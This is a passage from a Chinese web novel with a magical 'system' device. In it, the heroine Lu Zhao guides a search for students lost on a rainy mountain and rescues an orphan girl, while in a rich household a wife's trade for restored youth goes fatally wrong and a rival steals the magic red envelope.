“你着急什么哟!这大半夜了,快别乱跑了。”老师们也没想到查完了楼还会有人跑出去,也是急的不行。已经有好些老师和教官们出去找人了,留下的老师们开始查寝,盯着其他学生别乱跑。
路昭说道:“老师你让我去吧,我知道他们在哪儿。”
“你知道?”老师吓了一跳,以为她也是他们的一员。
“我听他们说要去盘石坡玩儿,但他们说的是放假了,我以为他们是说军训结束以后。”
“盘石坡?盘石坡在哪儿啊?附近哪有这么个地方?”老师气急:“赶紧去找校长,跟他说他们可能在盘石坡。”
话是这么说,但其实找校长也没用。
校长工作都在市里,谁会闲着没事往山沟老林里跑?
而盘石坡又是个非常小的地名,就算是本地人,也不一定能知道。
顶天了也就是附近几个村子的村民们,知盘石坡在哪儿。
就连路昭看了司徒都觉得奇怪:【他们好好的,干嘛要跑盘石坡去呀?那地方这么偏僻,他们是怎么知道的?】
【他们当然不知道盘石坡在哪儿,是乱走走过去的。】
至于为什么会乱走走到盘石坡去?
原因倒是也简单,夏露下午和章烁闹了不愉快,手都蹭破皮了心情不好。几个男孩子就说陪她出去走走散散心,不知道怎么说的,就说到了附近村里有人养野鸡,山上还有山猫和刺猬。
生活在城市里的孩子们,倒也不是说完全不通世事不帮家里干活儿,但那些只长在山里的玩意儿,却是只在书本和动物园看过。
一听附近村里可能有山鸡和刺猬,就心动起来了,想要捉一只回来养。
这个想法一出现,就再也拦不住,一群人都心动不已。
要不怎么说,中二病才会想着拯救世界呢?就他们精力旺盛啊!
虽然这次这群中二病不是要去拯救世界,但他们的行动力是真强。
说做就作,三两下就商量好了计划并且把逃跑路线都画好了。
只等查寝结束,所有人都睡着了,才沿着围墙翻了出去,说要爬到山上去捉刺猬。
他们准备的还挺齐全,什么水壶手电筒和备用的干电池全部都带上了。想着连夜爬山,等天亮了就去捉宠物,捉完了再回营地,时间正好是下午。
反正第二天放假,又不会训练,老师和教官们不会盯着查他们,就算没看到人,也顶多以为他们是去附近村子里玩儿了。
结果谁也没想到,半夜开始下雨了。
山路本来就不好走,更何况还在下雨?
当时就有人想回去,结果一不小心走错了路,直接不知道自己在哪儿呢。
要不是教务主任听到雨大,习惯性地起来看水渠有没有被堵,顺便查了查男寝,还不知道她们跑出去了呢。
【那老师是农村人,小时候住茅屋后来住土房,每到下雨天,就得全家起来看水,免得水太大漫过水渠进到屋里。】系统解释道:【所以他养成了一下雨就忍不住去看水的习惯,这次发现了学生们跑出去,便和教官们一起出找人。】
【他怎么找到的?】
【怎么可能找得到?这么大的雨,谁也不知道他们跑到了哪儿去,教
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务主任和教官们只能一边问学生一边到处去打听,听说有人看到他们上山了,只好上山找,结果遇上泥石流,老头和一个教官被埋里面了。】
路昭:……
【可我记得原著中女主的人设是团宠博爱小白花啊!】倒不是说主角就不能有黑历史,但是人设不符,这就有点ooc了吧。
【并不冲突,因为主角团是在第二天才被找到的,他们并没有见到教导主任和高管等人。他们的死,也不能算到他们的身上。更不用算在女主角一个人身上。】
【所以现在程聿求救的原因是?】
【脚滑踩空,坠落山崖了。】
【原著有这一段儿吗?】
【没有写,可能有发生也可能没有。】
原著开篇就在几年后,那时候根本就没有程聿这么个角色。
不过无所谓了,赚积分要紧!
路昭不顾班主任阻拦,抢了一件雨衣就跑了出去。
教务主任和教官们还打着手电筒在村子里一家一户敲门询问,路昭很快在系统的指引之下,很快就找到了他们,并告诉了他们。
“盘石坡?找人问问这地方在哪儿,或者找个人带路也行。”
“比如问了你们问不到。”
盘石坡这个地名,是比村还要小一级的,其地位,和公交站牌差不多,存粹是用来精确定位的,除了本村的人,连隔壁村的人都不见得知道附近还有这么个地方。
教官很好奇:“那你怎么知道的?”
“哦,我去过。”路昭随口一说,催促道:“我们赶紧走吧,我怕这雨越下越大,会遇上泥石流。”
六中的学生出来军训,一下子丢了好几个,真要是出什么问题,谁都承担不起。
再没人敢迟疑,立刻让路昭带路。
再系统的指导下,他们没走一点弯路,很快就爬到了牛栏扈村。
村里养了不少看家狗,听到半夜来人,立刻狂叫起来。
村民们被吵醒,一看是当兵的在找人,吓了一跳,赶紧把狗关起来,叫人一起来帮忙。
“城里来的学生娃?我们没看见呀,按理来说进村只有一条路,不应该走岔,怕不是找错了?”村长一边带路一边喝他们搭话:“他们跑这山上干嘛来了?林子里到处是野兽,可别撞着了。”
“一群小孩胡闹……等等,前面是不是有人?”老师话说道一半,突然问道:“那黑黢黢的一团是不是人?”
“快快快,就在前面。”听到了人声,大家都高兴起来,马上加快了脚步往前走。
路昭走在人群最后面,看着老师们冲到前面,确定的确是自己要找的人后,气得想发火又要强忍着的样子,没有说话。
“点名,看看人齐了没有。”
就算再怎么生气,也要先回去再说。教官黑着脸,一个一个叫名字,用手电筒对着他们的脸看。
确定没有遗漏之后,就准备回去了。
路昭却看了眼聊天群中还亮着的头像,问:“你们确定人都到齐了?”
“到齐了,我们都在。”
你们都在,那程聿是谁?
21. 第 21 章
第二十一章
【确定程聿就在这附近?】
系统:【确定。】
难道她弄错了,他们并不是一起的?
路昭惊叫了一声:“呀,我脚扭了!”
“脚扭了?我看看。”
“来我背你。”教官蹲下要背她,路昭想了想,顺从地爬了上去。
不过,回到牛栏村的时候,她就不肯再让教官继续背了。
“我先在村里住一晚上了,现在雨太大了,山路本来就很难走。再背一个人,一不小心都得摔跟头。”
“是有这个问题。”老师们商量一遍之后,决定把人分成两路,派两个人送梁珂下山去医院,其他人先在村里住下,等天亮了再下山。
没有人反对,很快就在村长的帮忙下腾出了两间房。
大家也不讲究了,随便借了两件干衣服换上就休息了。
路昭仗着有钱,故作挑剔了一番,硬是在另户人家里单独要了一间房。
等所有人都没注意的时候,她把门一关,又穿上雨衣悄悄跑了出去。
生怕去得太迟,直接把人耗死。
路昭硬是一路小跑才找到系统锁定的地方。
她当然不会直接喊人,而是拿着手电筒到处乱晃。
果然,没晃一会儿,就听到有人求救的声音。
“谁?谁在下面?”
“救命,救命!”一个声音在狂吼,生怕路昭听不到。
“等一下,我有绳子,这就下来救你。”路昭把早就准备好的绳子往旁边枣树上一绑,然后顺着绳子另一头滑下去,大概才十几米的地方,看到了一个孩子。
对方大概十二三岁,一张尖尖的,眼睛又大又圆,还留着一头小辫子。
是个非常漂亮的女孩儿。
“你怎么掉下来的?”
“什么掉,老子是被推下来的!”
路昭:“……”
“你先抓着绳子,能自己绑上吗?绑好了我拉你上去。”
“拉我?你?”女孩儿看着路昭,不是很信任。
“小看我。”路昭帮他把绳子在腰间绑好之后,又顺着绳子爬了上去。然后吆喝:“我开始拉了,你注意一点,不要被什么东西卡住。”
“知道了!”
路昭就开始拉绳子。
不得不说,力气大就是好,如果换成自己原本的力气,别说拉这么一个和自己差不多大的小孩儿,就是拽着绳子爬上趴下都很困难。
但是现在,她拽着绳子的一头,轻轻松松,就把女孩拉了上来。
女孩儿显然也被路昭震惊了,看着她满是赞叹:“你可真厉害。”
“谢谢。”路昭站起来,把绳子收好,然后弓下腰,道:“来吧,我背你去村里。”
“你是牛栏村的人?”
“不是,我们是来找我同学们的,他们到处乱跑被发现了,只好出来找人。对了,你和他们遇到过吗?你说你被人推下去的,推你的人是谁?”
女孩没说话。
过了好一会儿才问:“你的同学们,和你差不多大?”
“是呀。他们也在村里,先暂时借助在村长家。你腿断了,待会儿得叫个人送你下山去医院。”
“不用,我不去。”
“不去?你腿不想要了?”
“我没钱。”
“没事,我有钱,借给你。”
“不用。”
“我说真的。”路昭笑道:“不然你猜我为什么找到人了还要跑再跑回去一趟?因为我的手机丢了,手机你知道吧?像大哥大那种,打电话用的,可贵了。我回去找手机,才听到你在喊救命。”
“哦,你家里很有钱?”
“算吧。”
女孩儿没说话了。
路昭把人背到村里,这会儿已经六点多,天都亮了。
雨也渐渐小了,村里人起得早,这会儿已经开始生活做饭。
看见路昭背了个人回来,赶紧上前来问。
路昭说道:“她腿断了,我们得赶紧送她去医院,阿伯,你等老师醒来后,去告诉他们一声。”
“行,不过你背着她下山?能行么?”
“能行,我力气很大呢!”说完摆摆手,直接走了。
从山上下来,走了快一个小时山路,才终于上了公路。他们运气很好,没过一会儿,就遇到了过路的车。
司机见她们两个孩子,有一个还带伤,心里可怜,便捎了他们一程。
到了市里,把人送进医院,路昭这口气才算松了下来。
“医药费用我先帮你交了。你家是哪儿的?我找人帮你带个信,叫你家里人来还我医药费。”
“没有。”
路昭傻眼:“没有?没有是什么意思?”
“我父母我根本没见过,奶奶也在不久前去世了。”
不知道说什么好。
路昭去找护士借了笔和纸给她:“那也行,医药费和营养费就当我借给你的,你打个欠条,以后得还的。”
“好。”女孩儿接过笔,刷刷刷写了一行字,抬起头问她:“你还没说你叫什么名字。”
“路昭,道路的路,昭昭日月的昭。”
“好的昭昭。”女孩儿笑了笑,低头继续写字,写完递给她:“我叫程聿,以后等我赚了钱,十倍还给你。”
“十倍就不用了,还本金就可以。”她本来就从他身上赚了一个积分了外加一个秘密了,不贪图这点儿利息。
路昭站起来,问:“那你现在现在医院住着?伤筋动骨一百天,等明天再找人送你回家?”
“不用,我在城里有亲戚。我到时候去找他们。”
“有亲戚?那你知道地址么?他们不知道你受伤,我帮你去送个口信吧?”
女孩儿淡淡地笑了笑:“不用,我自己去就好了。”
路昭这下明白了,她不想自己多管闲事。
虽然她是觉得对方一个小女孩儿,又受了伤,被扔在医院不管不太好,但人家既然回避,那她就不用强人所难了。
于是道:“好吧,那你先休息。我得回学校了。”
“嗯,昭昭,再见。”
“再见。”
从医院出来,路昭本来想先回家一趟的,但她想了想,还是先回学校。
老师们也正在到处找她呢,见她自己回来了,才终于松了一口气。
“你又救了一个人?是哪个班的?叫什么?”
“叫程聿,不是我们学校的,大概是哪个村子里的村民。”
“不是就好不是就好了。”班主任松了一口气:“倒下一个就够了,再来一个,我这心脏可受不了。”
“是他们自己乱跑,又不是学校的责任。”
“有那么简单就好了。”老师虽然对这次事情不满,但是对路昭还是非常欣慰的。
是她带人找到了那群乱跑的同学,还在山上救了人,不管怎么说,都是好事一件。这次多亏了她,一个通报表扬是少不了的。
“那我还要回营地么?今天太累了,不想再坐车也不想训练了。”
“还
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训练?训练什么呀训练!你的军训就算训完了,这事儿我帮你定了。”
“真的?”路昭惊喜。
“当然是真的,你好好休息吧。别管军训的事了。”
“行,那我回去了,我从医院出来就来学校了,还没来得及回家呢!”
“我送你吧,老师有车。”
班主任说完,匆匆从抽屉里拿了钥匙下楼,载着路昭到了花园里筒子楼。
这会儿李翠萍还在上班,家里有两个保姆,给开了门,看见她提前回来,都非常震惊。
再听她说送她的人是学校的老师,就更手足无措了。
路昭只好亲自给老师倒了水,又听她询问自己的家庭情况等等,发现这是顺便来做家访了。
可惜家长不在,这家访也就做得不是十分满意。
班主任坐了一会儿便离开了。
路昭三人全都松了一口气。
再看手机,新成员的交易已经完成了。收益到账,这回不用还商店积分,净赚一个积分一个秘密。
【秘密信封,是什么秘密!】
程聿所提供的交易内容,是一个秘密,被封在一个类似邮箱的信封里。交易完成之前,她是不能打开的,现在交易已经完成了,信封便被解锁了。
路昭看了眼睡着的路恒,回到房间,把信封打开。
里面居然是一长串的名字。
路昭一行一行地看下来,看了好半天,也看不懂名单上的是什么人。
只能猜测,这是一封,什么重大事件的名单。
……
这玩意儿有什么用?
唉!
路昭把信封收起来,唉声叹气地拿起衣服去洗澡。
本来不想胡思乱想的,但是洗着洗着,脑子就忍不住自己转动起来。
梁珂和夏露那群人,被找到的地方,离程聿掉落的地方很近,他们真的没有遇到?
当然也不是全无可能,毕竟夏露他们是半夜上山的,夜里看不见人很正常。
而程聿掉落山崖,也不见得是一直醒着的,说不定就正好错过了呢!
不过这个程聿真的非常可疑啊!
她从哪儿知道得这种名单类型的秘密?
要知道通过系统能被交易的,都不会有假,而且一定有价值。
她一个十几岁的小孩子,能够知道得秘密,路昭唯一能够想到的,就是从家里长辈那里。
还有她说,城里有亲戚,看来是打算要去投靠的。但又不肯高数地址让自己帮忙……
己该不会是……
一不小心,救了个什么破坏分子吧?
【统子!】路昭幽幽地叫了一声。
【在。】
【你说这名单……不会是什么特务之类的……】
【不知道,这份名单,是他偷来的。】
【啊?偷的?】
【大概以为是什么值钱的东西,想要拿去卖,结果看了一眼,发现全是名字。】
【好吧,看来她也不知道这是什么。】路昭大松一口气,又躺了回去。
系统不理解:【你就这么不管了?这可是个好东西,很值钱的。】
【很值钱也没用,第一我不知道这是什么名单,更说不出它的来历也不能保证真假。第二,我还是个未成年,就算它值钱有什么好处,好处也落不到我身上,你知道得,在我们这个文化里,没结婚的孩子,尤其是女孩子,不算什么完整的人。】
【所以?】
【到时候再说呗!反正它又不会跑!】
22. 第 22 章
第二十二章
新港·李宅。
李仲和从三天前就坐在那里了。
她剥夺了长房的一切权力,曾经给与的股份也全部收了回来。
不仅是江娴音自己,连大房的几个孩子,也被全部停卡成了身无分文的光棍汉。
这段时间,李仲和的追问越来越紧迫,他不顾一切地,想要知道江娴音的秘密。
“我说过了,这是主的恩典。”
“主的恩典?那就让它再显现一次!”李仲和扬了扬手,捧着药碗的管家站了出来。
“夫人,这是老爷的意思,您别怪我。”虽然不知道碗里是什么药,但是那散发的气味,一看就不是什么好东西。
江娴音好不容易恢复健康,又怎么肯再变回以前?
反抗无力,最后只能拿出手机,说出了自己的秘密。
“手机,做交易?”
手机上面的聊天软件,除了江娴音之外,其他任何人都是看不到的。
所以他们瞪着那个没有任何不同之处的黑白屏幕,显得有几分怀疑。
“你们当然看不见,因为我才是蒙主恩宠之人。”
“行!既然你是受主恩宠,那就让你的主显灵一次。不是说什么都可以得到吗?那就……”
所有人都看着李仲和,等他说话。
作为一个豪门掌舵人,他现在可以说是应有尽有了。
但和所有人一样,拥有了足够多的金钱,就会去幻想权力。
作为商人,即便在新港这个地方可以呼风唤雨,但说实话,与那些大权在握的高官贵族们比起来,还是差了一些距离。
更何况,新港这个地方,也的确是太小了。
新港豪门虽然好,但如果有机会成为大鹰豪门,美利卡豪门呢?
所有人都看着李仲和。
然后就听到他说:“我要青春,变回二十岁的身体。你问祂,要多少钱。”
李太太:【我先生希望重获青春,回到二十岁,请问可以么?】
小助手:【系统交易只针对群成员本人。】
李太太:【所以说,就算达成交易,青春也只能在我身上展现?】
小助手:【是的,您才是群成员,您的先生不是。】
江娴音心动无比,然后告诉李仲和:“主说了,要九千万亿。”
“九千万亿?你那是什么主?如此贪财!”
“你不信就算了!”
“我不信,你就该让我相信!”李仲和从管家说中夺过药碗,亲自往江娴音嘴里灌。
江娴音哪里料到他如此凶残,一个不小心被扣住了下巴,药差点被灌进去。
“等一下我换,我还有别的办法!”江娴音尖叫一声,把李仲和推开:“我换,还能换。”
李仲和没有松开她,只卡着他的脖子让她照着办。
重回青春的交易很快就兑换成功了,就像小助手提醒的那样,没有足够的钱,那就只能拿命换。
但是现在的情况是,李仲和显然不想轻易放过她了,这青春,她不换也得换。
至于生命?
这样身不由己地在病床上躺着,活一百年也比不上青春快乐地活一年。
她再也不想身患残疾了,更不用说,青春本来就是她心心念念,这段时间一直想要的东西。
在她的心里,这是很划算的。
她有医疗知识,知道年轻人的身体,和老年人截然不同。
只要回归青春,什么疾病伤痛都不在话下,生命活力也会重新灌满。
新的生命重新从二十岁开始,即便只能活到六十岁,那也还有四十年。
四十年,即便因为交易去掉一半,那个有二十年的好时光,赚大了。
抱着这样的奢望,江娴音果断交易了青春。
一个鲜艳的红包从手机上跳出来,她眼睛一亮,就要去点,却被李仲和一把枪过了手机。
“你交易成功了?”到底是多年夫妻,他太了解她了,仅凭表情,就能猜出个大概。
“当然,不过可惜,只有我能看得见,你不能!”江娴音十分得意:“想要点开红包,也只能由我来。”
李仲和沉默地看着她,好半晌,终于别无选择地把手机还给了她。
江娴音点下接收键,很快,红包打开。
然后,在场众人就眼睁睁地看着她头突然开始生长,瞬间从肩膀长到了腰下。
脸上的皱纹也开始伸展,变得饱满。
然而,这变化值持续了不到一分钟,江娴音就猛地向后倒了下去。
作为一个资本家,还是家里开着赌场的资本家小姐,江娴音怎么就不会想到,系统在确保自己的利益的前提下,是一定会先一步拿到自己的交易物质的。
所以看起来的同步完成,其实系统永远会比交易对象先一步。
更不用说,恢复青春这种事情,受制于人类细胞的本质,就算再快,也有一个过程。
于是在她打开红包,完成交易的那一瞬间,系统对她的生命已然抽取完成。而重病多年,现在又以生命作为代价的江娴音,却已经没有那个生命力,来承受新生细胞的冲击。
青春恢复了一半直接卡在了那里。众目睽睽之下,正在恢复青春的女人,就这么倒在了所有人面前。
与此同时,一个尚未用完的红包,从手机里飘然而出,晃晃悠悠地,停在了女人倒下的身体上面。
“红包?这就是她所说的红包?”
所有人都看到了红包,几乎是下意识地,全都扑上去抢。
然而离江娴音最近的,只有李仲和,他以最快的速度伸出了双手,想要抓住红包,然后……从红包上面一穿而过。
拿不到!
它就像是一个幽灵,或者科学创造出来的霓虹,只有光影没有实质。
但它就那样明晃晃地挂在那里,一动不动,诱人无比。
李仲和尝试了好长时间,终于还是没能碰到它,其他人这才大着胆子上前,想要尝试把它拿下。
可惜不论是谁,都和李仲和一样,只能看到,不能摸到。
它就像江娴音说的那样,是只属于她的东西,除了她本人之外,其他人都不能碰到。
只是她所谓的主,到底是施恩于她?还是根本就在害她?
但不管怎么说,李家的神迹,却是真的。
这至少表明,恢复青春,是可以成功的。
虽然不知道最后江娴音用什么做的交易,但是最开始她说过,是九千万亿……
九千万亿!虽然很难也很遥远,但努力尝试之后,也不是不能达到的金额。
更何况,金钱这种东西,不就是印钞机印出来的么?
他一个人不能成功,不代表找不到人合作。
“来人,把们锁好。从今往后,这个房间,没有我的吩咐,任何人不准出入。”李仲和一声令下,人人称是。
然而秋叶白却没有离开,在江娴音被抬走之后,她在房间等了好长一段时间。
期间,那漂浮在半空中的红包依然无人能能够触碰。
就在秋叶白准备离开的时候,大概凌晨两点,红包突然掉了下来。
秋叶白浑身一紧,瞬间伸出手去。
这一次和之前完全不同,她一下子就把红包抓进了手里。
一股冰凉柔韧的触感传进手中,让她心内狂跳,但是反应却很迅速,立刻揣着红包回了房间,从自己的柜子里拿出来一个差不多款式的红包扔进房间里。
然后,她马上开车出门,飞快地回了南宅。
“少爷。”
池召龄没睡,听到秋叶白这么着急,立刻让人放她进来。
“我拿到了!”秋叶白顾不上其他,马上就把捂了一路的东西往出来拿。
宅内都是自己人,照顾他的阿姨知道他们有话要说,把人送到门口就退出去了。
“这就是那个东西,帮江娴音恢复了双腿,这回……”
“不要着急,先说说你是怎么拿到的这个东西。”
“好,我先说李仲和。”秋叶白用最简练的语言,叙述了所有经过。
首先是她想要知道江娴音奇迹般恢复健康的秘密,但是以她的身份很难让她开口。
幸好李仲和也想知道,但是碍于江娴音的身份,不能太过强硬。
上次过来时,池召龄提醒她在这件事上,港督或者葡国大使,都不见得不会抱着相同的心理。只是碍于身份,不太敢明目张胆而已。
秋叶白当然明白时序的意思,但她却不
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会不为自己考虑。
直接让江娴音公开所有秘密,岂不是让她抬高身份成了功臣?
这么蠢的事,她才不会做。
于是她联通五姨太给李仲和下毒,逼他强硬出手把江娴音的秘密问出来。
中间的手段不见得光明,秋叶白不想细说,但目的终于还是达到了。
她拿到了红包——虽然,完全不知道为什么原本碰不到的东西,突然又变得普通且能让人碰到了。
但这无所谓,只要是她拿到了,就是一个好的开始。
听完了她的话,少年没说什么。
他看着手中的红包,颜色鲜艳,在暖灯下还闪着一丝晶莹的柔光。
反复摩挲了红包特殊的材质,这才深吸一口气,把它打开。
空荡荡——里面什么都没有。
“怎么会这样?”秋叶白白着脸,难以接受:“难道真的像她说的那样,除了她自己,其他人根本碰不到这个东西?”
“不是……”
过了好一会儿,才听少年说道:“有东西,我感觉到了。”
“真的?”秋叶白双眼一亮,然后紧张地问:“那你感觉怎么样?你……好点儿没有?”
“有点儿痛!”少年嘴里发出嘶嘶的痛鸣声,额头冒汗。
在秋叶白吓得忍不住跑去叫大夫之前,组织了她:“别去,我没事。”
“真的没事吗?你满面是汗。”
少年又不说话了,只仰着头忍痛。
过了好一会儿,脸上暴涨的青筋方才平复,涨红的脸色也恢复了正常。
“你说江娴音交易的东西,是恢复青春,回到二十岁……”
“是,是这样没错。”
“我现在十七。”
所以打开了红包的他,细胞激增,骨骼开始猛涨,一下子长大三岁,几乎爆体。
幸好他忍痛多年,否则一定要在地上翻滚不停。
当然,这都无所谓,最重要的是,即便红包的能力只不是治好他的通身顽疾,也因为新生健康细胞的猛烈生长,将原本的带病细胞淘汰了一大截。
现在的话,虽然全身都痛,但这种痛和之前的痛不一样,它是暖融融的,让他整个人都感觉到放松和满足。
之前的痛,是冰寒冷酷的,仿佛源源不断地从他身体里抽走生气。
“我想起来。”
“我扶你。”秋叶白上前,扶着少年的手,看他下床。
虽然艰难,但是腾挪几步之后,居然真的能站好一会儿,没有再像之前那样冒冷汗或者直接倒下去。
秋叶白激动地掉起了眼泪。
由于太过激动,秋叶白哭的停不下来。引来了守在外面的姨母,姨母一进门,看到少年自己在走动,一样激动地哭起来。
等两人好不容易被劝住,少年才终于又坐回床上。
提醒她们:“这件事绝不能声张,李家肯定不会就此罢休的。你得赶快回去,把你拿走东西的事情遮掩下来。”
“我知道,我知道。”秋叶白擦了眼泪,一边迅速补妆,一边道:“放心,我心里有数,左右东西对你起了作用,那他就是把我吃了,也没什么大不了。何况说来说去,这事儿的症结,还在江娴音身上。”
“那你赶紧回去,别让他们怀疑你。”
“那我走了,你好好休息。等过些天,过些天我再来看你。”
“路上小心,开车不要急。”
“嗯嗯,我晓得的。”
等所有人都离开了房间,池召龄才轻松地舒了口气。
即便身体还不能说已经完全恢复,但是能靠自己走动,能离开这间房子,对他来说就是好事。
心情太好,睡不着。
少年想了想,又拿起已经拆开过了的红包。
突然,他看到了一张纸条。
少年一时不敢妄动,他很清楚,刚才这红包里,分明是什么都没有的。
而就算是在刚才,它也一直被放在小桌上,根本没有人碰过。
那么这张纸条,到底是为什么,会莫名其妙地,凭空出现在红包里?
过了好一会儿,少年才做好心里建设,伸出纤长的手指,取出纸条。
【路】
纸条上面,只有这一个字。
23. 第 23 章
第二十三章
“听说你在学校做好事救了人?哎哟那可真是稀奇了!”
路昭早上起来,天光大亮,李翠萍和王阿姨三人正在吃饭。
看见路昭起来,便阴阳怪气来了一句,显然是已经从保姆口中知道了老师亲自送她回来的事。
路昭听不明白她这是想夸她呢还是在讽刺,便没好气地说她:“不会说话就别说,成天阴阳怪气的,你当自己是□□呀?”
“我这说你好话呢,你还不乐意了?”
“听不出来是好话,没见过有谁说好话是这么说的。你在厂里和工友们还有领导说话都用这种口气?”
李翠萍努起嘴不说话了。
在外面她当然不会这么说话,不管是对同事也好还是对领导也好,她一直非常温顺有礼,说话也是下意识地讨好。
但是对着路昭甚至路恒这个还不会说话的女儿,她就夹枪带棍,无意识地这么说话了。
她好像看见她们就很容易生气,说出来的话不是脏话就是骂人,最轻的就是刚才那样阴阳怪气。连这阴阳怪气都是在被路昭上次吓唬了一顿之后才有的待遇。
路昭觉得,李翠萍就像一根通气用的管子。
她在外面毫不拒绝甚至颇为主动地接受来自外人的嘲讽和怨气,到了家里,就又一股脑倒给路昭这个她唯一能够控制的女儿。
现在路昭不受她控制了,李翠萍没有了垃圾桶,整个人都感觉到不对劲儿。
“我是你妈,有你这样跟妈说话的?”
路昭不理她,她就开始自己苦着脸生气了。
好在王阿姨劝她,又问起了厂里的事,才算把李翠萍的注意力转移了。
吃完了晚饭,路昭去把路恒抱过来,放到自己房间玩儿。
她已经开始学说话了,咿咿呀呀,满嘴的口水。
路昭逗了她一会儿,想着反正待会没事干,不如带她出去玩儿。
不过饭刚吃完没多久,就有人上门了。
梁珂的父母带着梁珂自己,提了大包小包东西来道谢,这阵仗可不小,把李翠萍吓了一大跳。
“你们这是,客气了真是客气了。”
“什么话,这次多亏了你们家路昭,不然我家那混小子,还不知道要出什么事呢!”
梁珂的母亲是一位女机械师,在国营厂里工作。
她剪着一头利落的短发,带着眼镜,言谈举止十分温和。
梁珂的父亲看上去温文尔雅,没有介绍自己的职业,但一看就是那种很有身份的人。
梁珂这个本尊,却站在后面,沉默地低头看着自己的脚尖。
但和在学校里时的趾高气昂比起来,这时候的他可是要乖巧很多。
他妈叫他道谢他就道谢,他妈叫他保证以后照顾路昭他就保证。
要说唯一有什么不合适的,就是从头到尾不看路昭的脸。
很快,又有其他人来,跟梁珂一家相同,也是来道谢的。
这家看上去就时髦多了,带了许多贵重物品,嘴上说着道谢,环视他们的房间,却是暗藏不屑。
李翠萍更加手忙脚乱,连话都不会说了。
好不容易把人送走,她这才坐到沙发上,连连感叹:“哎呀,到底是读书人家出生,这气度,这说话的样式,就是不一样。”
说着说着又开始吩咐路昭:“这下好了,你在学校里也不用受人欺负了。以后看着他们,可要好好相处,凡事多跑跑腿,帮人家拿拿椅子倒倒水什么的……”
“我说。”路昭忍不住问:“你倒是有没有弄明白,我救了他们,是他们应该来讨好我!”
“这话说的,你不就是帮了人家一把,合着就要挟恩图报了?可别把人笑死……”
“挟恩图报?别学一个成语就乱用,我可没说要别人报答我什么。不过话说回来,我救的人里头,还有我渣爹新老婆的那个女儿……”
“你!”
“先别急着生气呀!我就是想说,梁珂他们既然都亲自上门道谢了。没道理渣爹他们不来吧?李翠萍同质,你想好了到时候要怎么招待他们了没?”
原本听见她救了仇人的女儿的李翠萍,本来怒不可遏想准备骂人,一听她说他们一家有可能要来家里道谢,瞬间就偃旗息鼓开始琢磨应该怎么对他们了。
来道谢,那自然是姿态要摆得低一些的。
而自己的女儿救了仇人的女儿,不管这事儿怎么说,都是他们占理,她们可是他们一家的救命恩人。
让她母女磕个头不过分吧?
按村里的习俗,这种救命之恩,是要办谢宴拜干亲的。
自己的女儿年纪小,不必给人当干妈,自己这个亲娘,也不想上赶着给仇人的女儿当干娘。
那怎么办?
让她母女挂着红布里里外外在小区绕上一圈。
她是要让人看看,自己一家,不论往那边儿说,都占理。
就是路德荣要是不愿意,这事儿恐怕办不成。
于是便斜眼去瞟路昭,又希望她到时候能彪悍一点儿了,最好把那边一家全部都给制住。
于是这一天她班也不去上了,就该家坐着,等路德荣和她女人一家子上门。
却不知道,于馨雅根本没有想要道谢的想法。
她当然知道女儿军训跑出去玩儿差点出事被人救了。
但当她知道救人的是路昭的时候,道谢的心就一下子全歇了。
在她看来,找人的是老师,背人的是教官。
再一个真正受伤的是梁珂,自己女儿好好儿的,凭什么就说她欠了恩情?
多大点儿事就要赚个救民之恩?
可真是好大的脸皮。
于是除了跟学校和连队道谢之外,于馨雅完全不把这件事放在心上,只当它不存在了。
却不想她不想把它放在心上,别人可不准她不放在心上。
郑丹静下午才摇曳生姿地过来,招呼正在院子里剪花的于馨雅:“你家老路什么时候回来?正好咱们一起去啊。”
“哈哈,您这是?”
“这还用说嘛?当然是亲自去道谢了,不管怎么说,是人家小孩儿带的路,亲自找到了咱们那群混小子。嗨!要不是她,说不定这会儿我们都还漫山遍野找人呢!不表示一下可不太好。”
于馨雅反应冷淡:“那也不用这么兴师动众的吧?让他们小孩子之间,自己说句谢谢不就得了。”
“那怎么行!”郑丹静可就不同意了:“瞧你这话说的,人家可是救了咱们孩子的命。圆圆回来说了,他们走错了路,在山上到处乱跑,差点儿栽沟里。要不是人家小孩儿带着
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老师们找来,他们还不知道要怎么办呢!”
“那附近就是村子,怎么会不知道怎么办?”
“大半夜的,有那么大的雨,村里人都睡觉了,谁半夜起来招呼一群陌生孩子?再说,那村里每家每户都养着狗,就算能看见村子,他们他们也不敢去,怕被狗咬。”
说着叹息起来:“你可是不知道,村里养狗都是用来看家护院的,还会自己进山追羊,别提多凶了。”
“也太野蛮了,就该让政府发下命令,不准村里人养狗。”
“你自己又是养猫又是养狗的,倒不准别人养了?”郑丹静说到这儿,哪里是看不出来她不情不愿,于是凑近了小声问她:“跟我说实话,是不是你家老路不想管露露的事儿?嗨!后爹嘛,到底没那么多责任感。不过他也没资格管你。大不了,咱不等他,自己去道谢不就得了?”
于馨雅深吸一口气,干笑一声,说道:“怎么可能呢?我家老路可疼露露了。他就是忙,没时间。等他回来了,我们自然是要亲自去道谢的。对了,你还不知道吧?我们家露露要改姓了,以后就叫路夏,以后不能再露露露露地叫了。”
“改姓?真的?”
“当然是真的,老路把夏夏当亲生女儿呢,自然想让她跟着自己姓!哎,男人,就看重这个。”
“那倒是,改了姓,以后就是一家人。”郑丹静点点头,同意她的说法:“那我们就不等你了,等老路回来,你们一家过去。我们现在就去,早去早回,晚上还去他奶奶家吃饭呢。老太太知道他泡了雨,担心的不行,一定要亲眼看看。”
“嗯嗯,你们先去吧你们先去,我等等老路。”
打发走了郑丹静,于馨雅才回到屋子里,对着路夏剩下挑剔。
“我平时是怎么教你的?让你好好学习好好学习,你居然给我闯祸!”
路夏,也就是刚刚改了姓改了名的原夏露,被于馨雅这么斥责,深感委屈:“明明是你说的,要让我和他们好好相处。”
“我让你好好和同学相处,不是让你和他们一起野。你一个女孩子,要端庄,要文静!成天跟野猴子一样到处跑,还大半夜爬山?真不知道怎么想的!以后再敢这样,信不信我把你送回你奶奶家去?”
“不要,我不敢了,妈,别送我去奶奶家。”
“哼,这下还要去给人道谢!我真是……”不去不行,去又拉不下脸,真是左右为难。
路夏嘟囔:“干嘛要道谢,又不是我求她来找我们的。”
“你懂什么?不管事情是什么样的,对外人来说她就是救了人,这就是真相。”
夏露不敢说话了,见于馨雅开始给路德荣打电话,她只好默默起身,回了自己的房间。
她的房间朝向很好,阳光充足,还有一个小阳台。
阳台上她养着几盆仙人球,还又两个猫笼。
两个猫笼子里,一共养了六只猫,全都是她从外面捡回来的。
他们都知道她是一个心地善良喜欢小动物的好女孩儿,所以每次看到流浪的小动物,便总是忍不住捡回来养。
每当她心情不好的时候,就会抱着小猫咪倾述。那软软的叫声,的确非常治愈。
果然,很快就恢复了心情,在于馨雅的通知之下,换好了衣服,准备去花园里向自己的救命恩人道谢。
